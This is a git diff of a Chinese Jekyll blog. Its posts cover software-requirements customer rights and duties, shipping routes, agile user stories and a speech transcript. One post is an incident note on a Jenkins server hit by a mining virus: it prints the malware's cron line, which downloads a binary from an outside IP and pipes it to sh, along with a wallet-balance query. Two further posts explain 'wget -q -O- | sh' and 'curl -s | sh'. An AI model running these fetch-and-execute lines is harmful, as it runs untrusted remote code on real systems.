to accelerate development through reuse. +10. Receive a system that meets your functional needs and quality expectations. + +--- +**TABLE 2-2** Requirements Bill of Responsibilities for Software Customers + +**You have the responsibility to** + +1. Educate BAs and developers about your business. +2. Dedicate the time that it takes to provide and clarify requirements. +3. Be specific and precise when providing input about requirements. +4. Make timely decisions about requirements when asked. +5. Respect a developer’s assessment of the cost and feasibility of requirements. +6. Set realistic requirement priorities in collaboration with developers. +7. Review requirements and evaluate prototypes. +8. Establish acceptance criteria. +9. Promptly communicate changes to the requirements. +10. Respect the requirements development process. + + +# 客户与开发人员的合作伙伴关系 + +要想开发出优秀的软件产品，必须以优质需求为基础精心制定计划。而高质量的需求则源自开发人员和客户之间良好的沟通与合作，即所谓的合作伙伴关系。然而很多时候开发人员与客户之间却是一种对立的关系。项目经理如果只考虑自己的进度而不考虑用户提出的需求，就会造成矛盾。这样的局面对谁都没有好处。 + +只有当参与各方都了解自己获得成功的条件，并且理解和尊重合作者的成功条件时，合作才能取得成功。然而，随着项目承受的压力不断增大，涉众各方很容易忘记大家的目标其实是一致的：开发出具有较高商业价值的成功的软件产品，给所有涉众带来回报。 + +软件客户的权利法案(见表2.1)列出了10项权利。在项目需求工程的实施过程中，客户可以理直气壮地向需求分析员和开发人员提出这些要求。客户每拥有一项权利都意味着软件开发人员和需求分析员承担一项对应的义务。 软件客户的义务法案(见表2.2)则列出了需求过程中客户对需求分析员和开发人员承担的10项义务。也许有人更愿意将其视为开发人员的权利法案。 + +--- +**表2.1** 软件客户的权利法案 + +**客户有权利** + +1. 要求需求分析员使用客户的语吉 +2. 要求需求分析员熟悉客户的业务，了解客户对系统的目标 +3. 要求需求分析员把需求收集过程中客户提供的信息组织成书面的软件需求规格说明 +4. 要求需求分析员解释需求过程生成的所有工作结果 +5. 要求需求分析员和开发人员尊重客户，始终以合作和专业的态度与客户进行互动 +6. 要求需求分析员和开发人员为需求和产品实现提供思路和备用方案 +7. 要求开发人员实现能让产品使用起来更容易、更有趣的特性 +8. 调整需求，便于重用已有的软件组件 +9. 在提出需求变更时，获得对变更的成本、影响及二者权衡关系的真实评估 +10. 获得满足功能和质量要求的系统，这些要求必须事先告知开发人员并征得其同意 + +--- +**表2.2** 软件客户的义务法案 + +**软件客户有义务** + +1. 为需求分析员和开发人员讲解业务并定义业务术语 +2. 提供需求，阐明需求，通过与开发人员的交互将需求充实完善 +3. 对系统需求的描述必须详细、准确 +4. 需要时，及时对需求做出决断 +5. 尊重开发人员对需求成本和可行性的评估 +6. 与开发人员协作，为功能需求、系统特性和用例设置优先级 +7. 审阅需求文档，评估原型 +8. 发现需要变更需求时，及时与开发人员沟通 +9. 按照开发组织的变更控制过程提出需求变更 +10. 尊重需求分析员在需求工程中使用的过程 + +作为项目计划的一部分，客户和所有参与开发的人员都应该仔细阅读这两张表，并达成致看法。忙碌的客户也许不愿意参与需求工程(这是对第二项责任的逃避)。但是我们知道，缺少用户的参与会使生成不符合需求的产品的风险大为增加。需求开发的每一位参与者都应该了解并承担自己的义务。如有疑感应该进行协商，使每个人都清楚各自应负的责任。这样能够减少以后因一方不愿意或不能提供对方所需而产生的矛盾。 + +> 注意不要指望项目涉众天生知道如何合作进行需求开发。必须花时间讨论如何最有效地进行协作。 + +# 软件客户的权利法案 + +**权利之一：要求需求分析员使用客户的语言** + +需求的讨论必须以客户的业务需求和业务工作为中心，使用客户的业务用语。客户可以通过词汇表向需求分析员提供业务术语。这样在与需求分析员交谈时，客户就不用为那些计算机行话感到头痛了。 + +**权利之二：要求需求分析员理解客户的业务和目标** + +通过与客户交流获得需求，需求分析员能够更充分地理解客户的业务以及如何让产品适合业务需求。这将帮助开发人员开发出满足客户要求的系统。客户可以邀请开发人员和需求分析员参观他和同事的工作。如果正在开发的系统是用来替代现有系统的，开发人员应该像客户那样实际操作现有系统，从而了解现有系统如何适合客户的工作流程，知道哪些地方可以改进。 + +**权利之三：要求需求分析员编写软件需求规格说明** + +需求分析员对来自不同客户的信息进行整理，把用例同业务需求、业务规则、功能需求、质量目标、对解决方案的建议等内容区分开来。需求分析最终应提交出一份软件需求规格说明(SRS)。SRS 是开发人员与客户就目标产品的功能、质量和约束达成的协议。应选择客户容易理解的方式组织和编写SRS. 客户可以通过审阅规格说明和其他形式的需求说明来确保它们准确并完整地表达了自己的需求。 + +**权利之四：听取对需求工作成果的解释** + +需求分析员也许会使用不同的示意图来配合SRS 文本对需求进行描述。第11章中介绍了这样儿种分析模型。这些对需求的不同表达方式很有用，因为有时图解能更清晰地表述出系统某些方面的行为，例如工作流程。这些图解看来也许比较陌生，却不难理解。客户可以要求需求分析员解释每张图(或其他形式的需求开发的工作成果)要表达什么，图中符号的含义，以及如何检查图解是否有错。 + +**权利之五：得到需求分析员和开发人员的尊重** + +如果客户和开发人员不能相互理解，讨论需求将是一件令人沮丧的事。合作能够帮助双方认清对方面临的问题、参与需求开发过程时，客户有权要求需求分析员和软件人员尊重他们的想法，并且珍惜他们为项目成功所付出的时间。同样，客户也应该尊重开发团队中每-位成员，他们都在为项目成功这共同目标而共同努力。 + +**权利之六：听取开发人员对于需求及如何实现需求的想法和备用方案** + +需求分析员应该了解客户现有的系统为何不能很好地满足他们的业务流程需要，从而保证新的系统能够更高效满足新需要。精通业务的需求分析员时常能够对客户的业务流程提出改进建议。富于创造力的需求分析员还能提出客户未曾想到的功能，从而增加新软件的价值。 + +**权利之七：描述使产品易于使用的特性** + +客户可以要求需求分析员留意用户功能需求之外的软件特性。这些特性，即所谓 +的质量属性，可使软件更易于使用，更受欢迎，从而可让用户更快捷地完成任务，用 +户常常要求产品“用户友好”、“稳定”、“高效”。这些术语过于主观，对开发人 +员帮助不大。因而需求分析员应该让客户列出具体的特性以实现这些要求。 + +**权利之八：为实现重用而对需求做出调整** + +需求常常是灵活的。需求分析员也许知道有现成的软件组件大致符合客户描述的部分需求。需求分析员应该把这种情况告诉用户，让他们选择是否对需求做出修改，以便开发人员能够重用已有的软件。如果客户能够调整需求，实现合理的重用，就可以节约时间和金钱。如果想在产品中集成一些现有的商业软件，需求就必须具备- 定的灵活性，因为已有的组件很少能完全符合客户的需求。 + +**权利之九：获得对变更成本的真实估算** + +如果知道还有开销更小的方案，客户会作出不同的选择。每当一项需求变更被提出时，都必须对它的成本和影响做出评估，这样才能做出合理的商业决策，决定是否批准该变更。客户有权要求开发人员对成本、影响和二者的权衡关系做出评估。开发人员不能因为自己不愿实现某一变更而有意夸大其成本。 + +**权利之十：得到满足功能和质量需求的系统** + +这是大家都希望项目达到的圆满结果。但有两个前提：客户将开发正确产品需要的所有信息明确告知了开发人员：开发人员也让客户清楚了所有的选择和约束。客户一定要说明他们的所有假设和期望：否则，开发人员很可能无法满足客户的需求。 + +# 软件客户的义务法案 + +**义务之一： 为需求人员和开发人员讲解业务** + +开发小组依靠客户为他们讲解客户的业务概念和术语。讲解业务的目的不是要把业务分析员培养成该领域的专家，而是帮他们理解客户的问题和目标。不能要求业务分析员掌握客户的业务中细微和深层的内容。客户认为肯定应该掌握的知识，需求分析员可能并不知道。如果不说明有关这类知识可能会在随后的过程中导致问题。 + +**义务之二：花时间提供并阐明需求** + +手客户都是大忙人， 而参与需求开发的客户往往又是其中最忙的人。尽管如此，他们还是有义务投入时间去参与产品开发过程、自由讨论、会谈以及其他需求获取活动。有时分析员可能自认为已经理解了客户的观点，后来才发现还需要进一 步的说明。对开发和改进需求的这种迭代方法要有耐心。因为选代体现了人类交流的复杂性，是软件项目成功的关键。客户要容忍那些看似愚意的问题：优秀的需求分析员会选择那些能让用户开口的问题进行提问。 + +**义务之三：对需求的说明必须具体和准确** + +客户给出的需求常常是含糊和混乱的，这是因为准确说明细节既乏味又费时。但是，开发过程的某时刻， 必须有人来解决歧 义和不准确的问题，这时客户是解决问题的最佳人选。否则，就只有指望开发人员能做出正确的猜测。 + +在SRS中暂时使用待定(TBD)标志是个好方法。TBD标志表示还需要进一步的研究、分析以及更多信息。不过，TBD有时也用于表示某项需求难以解决，没人愿意去处理它。客户应尽量把每项需求的意图阐述清楚，以便需求分析员可以在SRS中将其准确表达出来。如果无法准确描述，客户应该同意采用能达到所需准确度的方法。这些方法通常需要用到原型技术。使用原型技术，客户和开发人员可采用增量和迭代方法合作进行需求定义。 + +**义务之四：及时做出决定** + +正如承包商在建房时所做的那样，需求分析员会要求客户作出很多选择和决定。这些决定包括：解决来自多个客户的需求间不致的问题， 在相互矛盾 的质量属性间作出选择，以及评估信息的准确性。相关的客户必须及时做出决定，否则开发者常常会因为得不到用户的决定而没有信心继续开发，从而由于等待答复造成进度的拖延” + +**义务之五：尊重开发人员对成本和可行性的评估** + +货所有软件功能的实现都需要成本。开发人员最有资格来估算这些成本，尽管他们中很多人并非熟练的评估员。客户需要的某些特性可能在技术上不可行，或者实现的成本过于高昂。有些需求可能提出了在操作环境中不可能达到的性能，或者要求访问不在系统内的数据。开发人员可能会带来关于成本和可行性的坏消息，但客户还是应该尊重他们的判断。 + +有时客户可以重写需求，让需求可行，成本更低。例如，要求某一动作“瞬间”发生是不可能的，但更具体的时间需求(“在50毫秒内”)则是可以实现的。 + +**责任之六：为需求设置优先级** + +很少有项目能有足够的时间和资源来实现所有想要的功能。需求分析的一项重要内容就是确定哪些功能是必需的，哪些是有用的，哪些对客户是可有可无的。对于设置优先级，客户应该起主导作用，因为开发人员无法确定某项需求对客户究竞多重要。开发人员将提供关于每项需求的成本和风险的信息，帮助确定最终的优先级。客户确定了需求的优先级后，开发人员可以据此在合适的时间内，以最低的成本创造出最大的价值。 + +利用给定的时间和有限的资源，开发人员究竟能实现多少客户提出的功能?关于这点客户要尊 重开发小组的判断。谁都不愿意听 到自己的要求不能在项目中得到满足的结论，但事实如此。项目的决策者将不得不在下列各项之间作出选择：根据优先级缩小项目范围，延长开发周期，投入更多的人力和财力，或者在质量要求上作出让步。 + +**义务之七：审阅需求文档，评估原型** + +第15章将指出需求审阅是最有价值的保证软件质量的活动之一。让客户参与审阅是评估需求是否具备完整性、正确性和必要性这些所需特性的惟一方法。审阅活动也使客户代表有机会向需求分析员提供反馈，指出其工作是否符合项目的要求。如果客户代表对文档中的需求是否准确没有把握，他们应尽早通知相关负责人，并提出改进建议。 + +仅仅通过阅读需求规格说明，很难想象出系统是如何运行的。为了更好地理解需求并找出满足需求的最佳方法，开发人员常常会为目标产品构造原型(prototype)。客户对这些初步的、不完整的、试验性的实现的反馈可为开发人员提供极具价值的信息。必须认识到原型不是实用的产品，不能强迫开发人员提交原型，不能把它当成具有完整功能的系统。 + +**义务之八：将需求变更及时告知开发人员** + +不断地变更需求会严重威胁开发小组按进度交付高质量产品的能力。变更是难免的，但一项变更在开发周期中提出的时间越晚，它造成的不良影响就越大。变更会导致代价高昂的返工。如果在软件开发已走上正轨后才提出新的功能，项目进度就会被延误。客户一旦意识到需要更改需求，就应马上通知与其合作的需求分析员。 + +**义务之九：遵循开发组织的变更过程** + +为了将变更的负面影响降至最低，客户就必须遵循项目中定义的变更控制过程。这样做可以保证变更请求不会被遗漏，并保证对每项提出的变更的影响能够得到分析，以及以一致的标准对所有被提出的变更进行判断。因此，负责业务的涉众就能够做出明智的业务决定，把合适的变更结合到项目中。 + +**义务之十：尊重需求分析员使用的需求工程方法** + +收集和验证需求是软件开发过程中一个最大的难题。需求分析员使用的各种方法都有其理论基础。虽然需求活动也许会让你感到麻烦，但花在理解需求上的时间始终是一种很值得的投入。如果客户能够理解并尊重需求分析员用于需求开发的方法，整个需求过程就会变得更轻松。客户可以要求需求分析员解释为什么需要某些信息，为什么要让自己参加这些与需求相关的活动。 + + +# 关于“签字” + +客户和开发人员之间合作伙伴关系的核心是就产品的需求达成致。很多组织把在需求文档上签字作为客户认可需求的标志。需求批准过程的所有参与者都应该明白签字意味着什么，否则会出现很多问题。问题之一是客户 代表把在需求文档上签字视作毫无意义的仪式：“他们给我张纸， 纸上的条横线下印着我的名字。 我在那上面签了名，要不然开发人员就不肯开始编码。”这种态度导致了后来的矛盾冲突：当用户提出更改需求被拒绝或对交付的产品不满时，他会说：“不错， 我是在需求上签了字，可我根本没时间把它们从头到尾读遍。我相信你们这帮家伙，可你们却让我失望了。” + +另一个关于签字的问题是开发经理把签字作为冻结需求的方法。每次客户提出更改需求，他就指着SRS提出反对：“可你已经在这些需求上签了字， 我们正照着它们开发。如果有其他的需求，你该早点儿说。 + +这两种态度都忽略了一个事实：不可能在项目初期就能明确所有的需求，需求肯定要随时间的推移而发生变化。批准需求是终结需求开发过程的正确方式，但是，参与者必须对签字的准确含义达成致的理解。 + +> 注意不要把签字当成武器，应该把它作为项目的一个里程碑。对于签字之前应进行哪些活动，以及签字对将来变更的影响，各方应形成明确致的理解。 + +签字不仅仅是仪式，更重要的是建立需求协议的基线，即某一时刻需求的瞬态图。需求规格说明书的签字的潜台词应该是：“ 我同意这份文档反映了我们此刻对项目需求的最佳理解，它描述的系统能够满足我们的需求。进一步的变更将 在此基线的基础上，依照项目定义的变更过程进行。我知道变更被批准后，我们可能要重新协商对项目成本、资源和进度的约定。”需求分析员定义好基线后，应该将需求置于变更控制之下。这样，开发小组就能在必要时以种可控制的方式对项目范围做出修改。这方式包括分析每项变更对进度等项目成功因素造成的影响。 + +项目开发过程中， 当需求中的疏漏被发现，或市场和业务需求发生变化时，客户和开发人员之间容易产生摩擦。对需求基线的一致理解则有助于减少这种摩擦。客户可能会担心一旦批准SRS,他们就不能再提出修改，因此就拖延对需求的批准，从而导致分析工作陷入瘫痪这种可怕的困境。设置基线是很有意义的，它能给所有主要的涉众带来信心： + ++ 客户管理层 相信项目的范围不会过度膨胀直至失控， 因为客户掌操了范围变更的决定权。 ++ 用户代表有信心开发团队会跟他们 同努力开发出符合需求的系统，即便他们不能在系统开始构建之前想到所有的需求。 ++ 开发管理人员有信心，因为开发团队有了业务伙伴。业务伙伴能够保证项目的中心工作集中在业务目标上。他们将与开发人员起在进度、 成本、功能和质量之间做出平衡。 ++ 需求分析员也充满信心，因为他们可以有效地管理项目的变更，将变更引起的麻烦减至最小。 + +用明确的协议来结束 前期的需求开发活动，能够帮助客户和开发人员形成合作伙伴关系，携手走上项目成功之路。 + + +# 参考 + ++ 软件需求（第2版） [Software Requirements, 2rd Edition] \ No newline at end of file diff --git a/_posts/2019-10-09-482-centos-virus.md b/_posts/2019-10-09-482-centos-virus.md new file mode 100644 index 0000000..c914189 --- /dev/null +++ b/_posts/2019-10-09-482-centos-virus.md @@ -0,0 +1,62 @@ +--- +layout: post +title: 比特币病毒 +pid: 482 +tags: [病毒] +--- + +为了方便外网同事使用jenkins编译程序，结果中毒了！还好没有带来损失。 + +查找所有和Jenkins相关的进程 + +![](/uploads/2019/10/09-01.png) + +从进程中，我们发现有一个进程非常可疑 + +![](/uploads/2019/10/09-02.png) + + +以下是访问链接 + +```shell +curl -s https://blockchain.info/balance?cors=true&active=1PETrfsS8x6UfC7ktYmX5xkc7Q8Df9q1Qj|1EPe9Sxrh1kYrgju5aMJuS7d3DiqUWtF9D|1QHDSLbeQTVJUiBryNpx6SBXYpTyDr9x66|1Mv8rVuhyRbcizhvqneP932E9WBUkRyRwG|1KnEz1B5SbPosqbFsBBB88DeySyJwpGeLg|1H3gFZbXvTbaxrGNPSUBzyMG6GgA3XuNCs|19UCoreDw3drhWivjKxwqHQDXuTJqoR43X|18HpkeN4tPHtv7ZfpAmZcMuD9JQTWw34cW|1NuUYe9Yh9uVDTwDTUu1wexPYERqJ7xoGe|12JYm61nym1aXAGaTah37foXq1PKzSsKbs|1Pe5RKoTCfkUdBKahjcjJpCnC6SEZiv73k|1DG4Y17pMhX8W7b7T7kpLk7SGPVjhozfvs|1Eepu3rrX5s3QahnL6VxTsLCt9Jk893jxQ|1D18AUn1zu4zbamrvxQtDjDGM7tVebDaBt|18bTnQqAbSxomekA1S69YgstUYbqJ75Wiv|1JZs5m5xwZz6DTK1kyrmbh2TuGurMgEEuu|1kXBrhMdw33oX9PqYwWKFVghSnsWmK36J|16ci4z5Y8CiCX4nK8XEaAA48oiyDseSX7m|1DPCFacH3bQJ4t9Bnx8t26aErWdtbjAzPg|12T1Fxcd6KYFwRNcBUb7baNCbVUDvMeUdC|15SjGWEzZsnbkmVnkP6WJcQgkGfDEdqoPs|1AAnSyzST3sicyayAhR71Gk8wV8GhfbLZc|15kXeDinqdLfL1yv67fNaXj6ExHe8Rfn99|1FGZghmcQgQxguMzGw1osHpSeXLxP7iTuP|17A7iBuDrKutiqyRd3YqKcr2sSBidbqGm6|1FjSQ7EW1WtKfsa6hhE6W7gvUZRxFs5tMn|1AKHNBPXJtbDigZULCLbpcUajYr9cpKztn|1LBWheVjMdNPeEJ3Wjq18MGwoNNTUy7Jm4|1AiBZX5exwP39fRLBHnWTCWcqBt4YMU1Jo|1CKz7kvhGnb5saBNwbxRs3ME1rTJrv49ZH|1Mm14atTvn4H59vTDfZ2mya9HAR733Zt4B|1QJxBLs8xj83oFDMGj9yEToAFcEzSjmuJH|1AbaSwPpTr1FPxFGQBbr3WGBhBJMsoG8PN|14fiNgZk8DSCsbEcFxWXxbACbEAyKLKqia|14dS6FieQB4iMWRvaKSUgDLeLXXNRVYXjY|1GR3GQuBmyEm2SomFrkbdPBcZ7mBYcqWV8|17D5cWEKCi9cULcostmGBh3y6SaPctTZKH|15tU56yDN6eFC5ttCxBMbrGRtEfTM6a57a|1Am3mHyfYMEApER5Uy8VxnmZie8epyDofr|1nkvuYZpYRpYGaHooW93usJkSrexnVhNG|14yUtwYPgxfPQf8uXN2AuiXEudjWdiGziZ|1FcXNhC7VjUcvAdF74WbcuLUjupUkQh8xu|1CdWHNbC5NoJoNHNdTfEkzjNzdnXfPJZ1c|1A1aFcJMSpsG4SpebRPU93SpcMJRuWR9ry|16r13tuk1wZk4u9hporeFFSmMi3FBWsoiP|1GHmN9RWcRXGf3HEqzdjVJTaNQsQsRxVoh|18zQq7BVLEzybaxdmWe5ANp1CHxYFiNULv|17GSHgR8AZrDxJLoU4Shv4cf5MQTAKhBF3|13fD8HzXiwLHa7GVMsQjCEUwh4qz54qrnZ|1FUqctkFvrJvSpyCwAs7VGFeKiZh3DvFyU|17GAgPXvpWDgraXAHirH5Lu74qKo2hLQyk|1Lv8G4d3dAFnp6f76vF7eye25ayNz2wDFb|19KckVeD8LncJJAHuoJ1Gx4MEEtiXfJ5C1|12KD24S9h8f6aX4PGPeyMnKpt2SFfAsvKE|18KYHhZwHY7WLd7caC9Wmce1ZrFnJCADFR|13yY1VGYnj1LhDaroAM3N2teeQeuUW2kXm|1PBSJ2kVdFJ9K7Tv7gQx3qwQqcAcyrzeiF|15CAbrEZSpXEAN1vsqoH5W1kuJ1t2iyRV2|1PNaejHuS76nV5VRc5PzBunQvLyoR8vj7V|1DkkAwkrmSYDfqDVtWkYRL3bJS5cW5w6Fc|1LjbtTT3Q4zoxFYfv4HpjY6C2EczCtXvyW|1NC95PosxV2NJpY9tr22NFNwhhfsSEYbqU|19JHejxEUZEKnQCHgtMPrWVt5wvKW8BbqG|1EYXaB699EMXTQkshrXpTEcZUR5cPDkh9M +``` + +删除所有Jenkins相关内容后，隔天发现，进程还是异常的 + +![](/uploads/2019/10/09-03.png) + +通过Pid跟踪进程 + +![](/uploads/2019/10/09-04.png) + +通过Pid跟踪进程 + +![](/uploads/2019/10/09-05.png) + +查看进程树 + +![](/uploads/2019/10/09-06.png) + +找到定时任务路径 + +![](/uploads/2019/10/09-07.png) + +查看定时任务内容 + +![](/uploads/2019/10/09-08.png) + +```shell +vim /var/spool/cron/jenkins + +*/55 * * * * (curl -s http://185.164.72.119/log_rotate.bin||wget -q -O- http://185.164.72.119/log_rotate.bin)|sh +``` + +清除定时任务 + +![](/uploads/2019/10/09-09.png) + +Kill进程，持续跟进 + +![](/uploads/2019/10/09-10.png) + diff --git a/_posts/2019-10-09-483-alias.md b/_posts/2019-10-09-483-alias.md new file mode 100644 index 0000000..227b550 --- /dev/null +++ b/_posts/2019-10-09-483-alias.md @@ -0,0 +1,22 @@ +--- +layout: post +title: linux命令行下调用别名的原命令 +pid: 484 +tags: [linux] +--- + +默认的一些命令都是alias后的命令，方便人眼识别和阅读等 + +在命令前加上反斜杠临时取消使用别名 + +例如：\ls + +则直接调用ls的原始命令 + +而不会使用alias设置的带有color选项的命令 + +![](/uploads/2019/10/09-11.png) + + +# 参考 ++ [linux命令行下使用反斜杠](https://blog.csdn.net/zahuopuboss/article/details/53355162) \ No newline at end of file diff --git a/_posts/2019-10-09-484-wget.md b/_posts/2019-10-09-484-wget.md new file mode 100644 index 0000000..117cb8f --- /dev/null +++ b/_posts/2019-10-09-484-wget.md @@ -0,0 +1,20 @@ +--- +layout: post +title: wget +pid: 483 +tags: [linux] +--- + +``` +wget -q -O- http://192.168.15.12/abc.bin | sh +``` + +-q的含义是：--quiet，安静模式，无信息输出。 + +-O的含义是把后面网址下载后，改成一个指定的名称，如果后面没有跟着一个名字，而是“-”，则表示将下载后的内容输出到标准输出，也就是输出到屏幕上。 + +-qO-的含义：把下载的内容输出到标准输出，但并不在屏幕显示，目的当然是直接传递给bash进行解析执行了。 + +# 参考 + ++ [wget常见用法](https://www.cnblogs.com/litifeng/p/9689346.html) \ No newline at end of file diff --git a/_posts/2019-10-09-485-curl.md b/_posts/2019-10-09-485-curl.md new file mode 100644 index 0000000..abb9a28 --- /dev/null +++ b/_posts/2019-10-09-485-curl.md @@ -0,0 +1,10 @@ +--- +layout: post +title: curl +pid: 485 +tags: [linux] +--- + +```shell +curl -s http://192.168.15.12/abc.bin | sh +``` \ No newline at end of file diff --git a/_posts/2019-11-26-486-line.md b/_posts/2019-11-26-486-line.md new file mode 100644 index 0000000..a20e07c --- /dev/null +++ b/_posts/2019-11-26-486-line.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 国际海运航线 +pid: 486 +tags: [货代] +--- + + + ++ 澳新线 + + 基本港 + + 澳大利亚:悉尼、墨尔本、布里斯班、阿德莱德 + + 新西兰:奥克兰、惠灵顿 ++ 地中海线 + + 东地中海线基本港 + + 土耳其:伊斯坦布尔、梅尔辛、伊兹密尔 + + 希腊:比雷埃夫斯、塞萨洛尼基 + + 埃及:亚力山大 + + 黎巴嫩:贝曾特 + + 叙利亚:拉塔基亚 + + 塞浦路斯:利马索尔 + + 西地中海线基本港 + + 意大利:热那亚、那不勒斯 + + 西班牙:巴塞罗那 + + 法国:马赛、弗斯 + + 摩洛哥:卡萨布兰卡 + + 突尼斯:突尼斯港 ++ 东南亚线 + + 基本港 + + 印度尼西亚:泗水、雅加达、三宝垄 + + 越南:胡志明、海防 + + 马来西亚:巴生、 槟城 + + 泰国:曼谷、林查班 + + 缅甸:仰光 + + 菲律宾:马尼拉 + + 新加坡:新加坡港 ++ 非洲线 + + 南非线基本港 + + 德班、开普敦 + + 北非线基本港 + + 阿尔及利亚:阿尔及尔 + + 西非线基本港 + + 尼日利亚: 拉各斯;加纳:特马;贝宁:科托努; 多哥:洛美 + + 东非线基本港 + + 坦桑尼亚:达累斯萨拉姆;肯尼亚:蒙巴萨:莫桑比克:贝拉 ++ 黑海线 + + 基本港 + + 乌克兰:敖德萨 + + 罗马尼亚:康斯坦察 + + 保加利亚:瓦尔纳 ++ 美加线 + + 美东基本港 + + 纽约、巴尔的摩、费城、迈阿密 + + 美西基本港 + + 洛杉矶，长滩、奥克兰、旧金山 + + 加拿大线基本港 + + 温哥华、多伦多、蒙特利尔 ++ 南美线 + + 南美东线基本港 + + 阿根廷:布宜诺斯艾利斯 + + 巴西:桑托斯、里约热内卢 + + 南美西线基本港 + + 智利:瓦尔帕莱索 + + 巴拿马:科隆自由贸易港、巴拿马城 ++ 欧洲线 + + 基本港 + + 比利时:安特卫普 + + 荷兰:鹿特丹、阿姆斯特丹 + + 英国:费利克斯托、南安普顿 + + 德国:汉堡 + + 法国:勒哈弗尔 ++ 日韩线 + + 日本 + + 横滨、名古屋、大阪、神户、东京 + + 韩国 + + 釜山、仁川 ++ 台湾线 + + 基本港 + + 基隆、高雄、台中 ++ 印巴线 + + 基本港 + + 斯里兰卡:科伦坡 + + 印度:孟买、加尔各答、新德里、那瓦什瓦 + + 巴基斯坦:卡拉奇 + + 孟加拉国:吉大港达卡 ++ 中东线 + + 基本港 + + 阿联酋:迪拜 + + 科威特:科威特港 + + 伊朗:阿巴斯港 + + 沙特:吉达 + + 约旦:亚喀巴 ++ 中南美加勒比海线 + + 基本港 + + 墨西哥:曼萨尼约、墨西哥城 + + 危地马拉:圣何塞、危地马拉城 + + 厄瓜多尔:瓜亚基尔 + + 秘鲁:卡亚俄 + + 委内瑞拉:拉瓜伊拉 + diff --git a/_posts/2019-12-11-487-story.md b/_posts/2019-12-11-487-story.md new file mode 100644 index 0000000..5e9ec01 --- /dev/null +++ b/_posts/2019-12-11-487-story.md @@ -0,0 +1,50 @@ +--- +layout: post +title: 需求管理与规划 +pid: 487 +tags: [产品经理, 软件工程及软件方法学] +--- + +传统的瀑布工作模式使用详细的需求说明书来表达需求，需求人员负责做需求调研，根据调研情况编制详细的需求说明书，进行需求评审，评审之后签字确认交给研发团队设计开发。在这样的环境下，需求文档是信息传递的主体，也是一份契约。 + +然而详细的需求说明书有以下5大弊端： + ++ 单向的信息传递，容易出现理解偏差。 ++ 文档很正式，我们会误以为它一定是对的，不去质疑它，让我们停止作出判断。 ++ 有了详细的文档，我们不会反复讨论它，相互确认。 ++ 书面文档不利于团队共享责任，它扮演了证据的角色。Scrum强调团队共享责任，不论是需求人员、开发人员和还是测试员，大家的共同目标是通过讨论、协作，正确理解需求之后把这些需求变成客户真正需要的功能，而不是单向的任务传递。 ++ 编制详细的、表达准确需求文档需要花费大量的时间，如果需求变化频繁，维护成本更高。 + +敏捷使用产品Backlog来管理需求，产品Backlog是一个需求的清单，按照需求的商业价值排序，高优先级的需求在Backlog的最上层。产品Backlog是一个渐进明细的清单，它有4个主要特点，称之为DEEP： + ++ Detailed 合适的详细程度，高优先级需求更加明细，低优先级的需求粒度更大 ++ Emergent 涌现式的，需求是慢慢涌现出来的，渐进明细的 ++ Estimated 经过估算的 ++ Prioritized/ Ordered 根据商业价值排好顺序的 + +在产品Backlog中，需求的主要表现形式是用户故事。用户故事是从用户的角度对需求的简短描述。用户故事是将团队的焦点从描述、编写功能需求转移到讨论需求的最佳方式。 + +用户故事是从用户的角度来描述用户渴望得到的功能。一个好的用户故事包括三个要素： + ++ 角色：谁要使用这个功能。 ++ 活动：需要完成什么样的功能。 ++ 商业价值：为什么需要这个功能，这个功能带来什么样的价值。 + +用户故事通常按照如下的格式来表达： + +英文： + +As a , I want to , so that . + +中文： + +作为一个<角色>, 我想要<活动>, 以便于<商业价值>。 + +比如：作为一个网站的普通会员，我期望在我下订单后，未发货之前可以取消订单，这样对我来说更灵活。 + +**要根据企业和团队实际状况制定需求收集方法，必要时，对用户进行适当的培训，不迷信工具和特定的方法论** + +# 参考 + ++ [如何进行敏捷需求管理（产品backlog），需求协作](https://blog.csdn.net/qq_42007293/article/details/81869091) + diff --git a/_posts/2020-01-03-488-oil.md b/_posts/2020-01-03-488-oil.md new file mode 100644 index 0000000..c471c21 --- /dev/null +++ b/_posts/2020-01-03-488-oil.md @@ -0,0 +1,13 @@ +--- +layout: post +title: 外海锚地加油补给 +pid: 487 +tags: [货代] +--- + + +![](/uploads/2020/01/03-01.png) + +# 参考 + ++ [记者直击外轮在我外海锚地加油补给](http://tv.cctv.com/2020/01/01/VIDEH4p5Bw3XLrurstERcSJJ200101.shtml) \ No newline at end of file diff --git a/_posts/2020-01-03-489-luozhenyu-2019-eve.md b/_posts/2020-01-03-489-luozhenyu-2019-eve.md new file mode 100644 index 0000000..d310a19 --- /dev/null +++ b/_posts/2020-01-03-489-luozhenyu-2019-eve.md @@ -0,0 +1,1262 @@ +--- +layout: post +title: 罗振宇2019-2020“时间的朋友”跨年演讲 +pid: 489 +tags: [罗胖跨年演讲文稿] +--- + +2019年12月31日20:30，上海东方体育中心，罗振宇“时间的朋友”跨年演讲如约而至。 + +罗振宇曾发下大愿望：跨年演讲要连办二十年。今年是第五场，也是倒数第十六场。 + +今年的演讲主题是——基本盘。也就是不去看那些一惊一乍的标题，人云亦云的情绪，而是转过头，看手中的资源，脚下的道路。只有基于基本盘，才能看清我们自己的努力方向。 + +以下是跨年演讲全文，与你分享。 + +第一部分：开场 + +2019年马上就要过去了。你的心目中有没有一个特定的人，在这一年、在某一刻，曾经点亮了你？ + +我有。此刻，我想向你致敬，贝聿铭先生。 + +2019年5月16日，贝先生离开了这个世界，享年102岁。 + +他是一个在世上留下了很多座纪念碑的人。但是，你如果去读他的传记，会发现，几乎他的每一个建筑作品，在当时都面临责难和挑剔，都是历经千难万险才来到世间的。 + +曾经有人问他：“你怎么看待外界对你的挑剔？” + +贝聿铭对此的回答是：“我从来没有考虑过这些问题，因为我一直沉浸在如何解决自己的问题中。” + +你，我，每个人都会有过这样的“贝聿铭时刻”。不论你做过什么、在做什么，你都会遇到形形色色的挑战。怎么办呢？贝先生的这句话是我听过的最好答案。我一直沉浸在如何解决自己的问题中。 + +今天晚上，我们解决什么问题呢？ + +过去的一年，我们都经历了一些事情，遇到了一些挑战，想来梳理梳理。对新的一年，你我都有一些自己的计划，想来验证验证。而我能做的就是穷尽我能找到的聪明人，汇集他们的想法，为你关心的问题，提供参考答案。 + +今年，我拜托了几位学者，从年初就出发，用整整一年的时间，深入地研究，你们会关心的那些重要问题—— + +经济学家何帆会回答，我们的经济基本盘是什么？ + +投资人黄海会回答，我们的消费市场有什么新机会？ + +金融学家香帅会回答，我们要挣钱，钱从哪里来？ + +教育专家沈祖芸会回答，我们每个家庭最焦虑的教育问题，在发生什么变化？ + +科技产业专家王煜全会回答，中国的科技创新被美国卡住脖子了吗？ + 